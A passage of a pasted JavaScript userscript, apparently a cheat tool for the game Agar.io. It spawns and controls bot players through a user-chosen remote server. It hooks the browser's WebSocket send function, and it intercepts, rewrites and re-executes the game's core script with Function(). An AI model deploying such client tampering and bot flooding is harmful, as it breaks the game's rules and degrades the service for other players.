  865. swal("Redirecting", "Please Wait...", "success",{buttons: false,timer: 3000,closeOnEsc: false,closeOnClickOutside: false,showConfirmation: false,});$('rbutton')
  866. })
  867. document.getElementById('botsName').addEventListener('change', function() {
  868. window.bots.name = this.value
  869. localStorage.setItem('localStoredBotsName', window.bots.name)
  870. })
  871. document.getElementById('botsAmount').addEventListener('change', function() {
  872. window.bots.amount = Number(this.value)
  873. localStorage.setItem('localStoredBotsAmount', window.bots.amount)
  874. })
  875. document.getElementById('connect').addEventListener('click', () => {
  876. if (!window.connection.ws || window.connection.ws.readyState !== WebSocket.OPEN) window.connection.connect()
  877. })
  878. document.getElementById('startBots').addEventListener('click', () => {
  879. if (window.game.url && window.game.protocolVersion && window.game.clientVersion && !window.user.startedBots) {
  880.  
  881. if (window.bots.name && window.bots.amount && !document.getElementById('socialLoginContainer')) window.connection.send(window.buffers.startBots(window.game.url, window.game.protocolVersion, window.game.clientVersion, window.user.isAlive, window.unescape(window.encodeURIComponent(window.bots.name)), window.bots.amount))
  882. //if (window.bots.name && window.bots.amount && !document.getElementById('socialLoginContainer')) window.connection.send(window.buffers.startBots(window.game.url.split('?')[0], window.game.protocolVersion, window.game.clientVersion, window.user.isAlive, window.bots.name, window.bots.amount))
  883. else swal("Bots Name and Amount Are Required", "Also You Need to Be Login to Your Agar.io Account", "error");
  884. console.log('error');
  885.  
  886. }
  887. })
  888. document.getElementById('stopBots').addEventListener('click', () => {
  889. if (window.user.startedBots) window.connection.send(new Uint8Array([1]).buffer)
  890. })
  891. document.getElementById('botsRemoteIP').addEventListener('change', function(){
  892. window.bots.remoteIP = this.value
  893. localStorage.setItem('localstoredBotsRemoteIP', window.bots.remoteIP)
  894. window.SERVER_HOST = window.bots.remoteIP
  895. })
  896. document.getElementById ('btn').addEventListener('click', function() {
  897. if ( botsRemoteIP.type == 'text') {
  898. botsRemoteIP.type = 'password';
  899. btn.innerHTML = '<i class="fa fa-eye"></i>';}
  900. else {
  901. botsRemoteIP.type = 'text';
  902. btn.innerHTML = '<i class="fa fa-eye-slash"></i>';}
  903. })
  904. }
  905.  
  906. function loadUI(){
  907. $('body').append(`
  908. <div style="position:fixed; margin-top: 140px; min-width: 200px; z-index:9999; min-height: 100px; max-width: 900px; max-height: 200px">
  909. <div id="box"><div><span id="boxText">Minions :</span><span id="botCount">0/0</span></div>
  910. <div id="s"><span id="boxText">ServerSlots :</span><span id="slots">Waiting</span></div></div>
  911. <div id="box"><div><span id="boxText">Feed Bots :</span><span id="feed">R</span></div>
  912. <div id="e"><span id="boxText">Split Bots :</span><span id="split">E</span></div>
  913. <div id="f"><span id="boxText">AI Bots :</span><span id="ai">F</span></div></div>
  914. <div id="box"><div><span id="boxText">Status:</span><span id="userStatus">Disconnected</span></div>
  915. <div id="a"><span id="boxText">AI Bots:</span><span id="botsAI">OFF</span></div></div></div>
  916. `);
  917. }
  918.  
  919. WebSocket.prototype.storedSend = WebSocket.prototype.send
  920. WebSocket.prototype.send = function(buffer) {
  921. this.storedSend(buffer)
  922. const dataView = new DataView(new Uint8Array(buffer).buffer)
  923. if (!window.game.protocolVersion && dataView.getUint8(0) === 254) window.game.protocolVersion = dataView.getUint32(1, true)
  924. else if (!window.game.clientVersion && dataView.getUint8(0) === 255) window.game.clientVersion = dataView.getUint32(1, true)
  925. }
  926.  
  927. new MutationObserver(mutations => {
  928. mutations.forEach(({
  929. addedNodes
  930. }) => {
  931. addedNodes.forEach(node => {
  932. if (node.nodeType === 1 && node.tagName === 'SCRIPT' && node.src && node.src.includes('agario.core.js')) {
  933. node.type = 'javascript/blocked'
  934. node.parentElement.removeChild(node)
  935. fetch(node.src)
  936. .then(res => res.text())
  937. .then(core => {
  938. Function(modifyCore(core))()
  939. setKeysEvents()
  940. setTimeout(() => {
  941. setGUI()
  942. setGUIStyle()
  943. setGUIEvents()
  944. loadUI()
  945. }, 3500)
  946. })
  947. }
  948. })
  949. })
  950. }).observe(document.documentElement, {
  951. childList: true,
  952. subtree: true
  953. })
Add Comment
Please, Sign In to add comment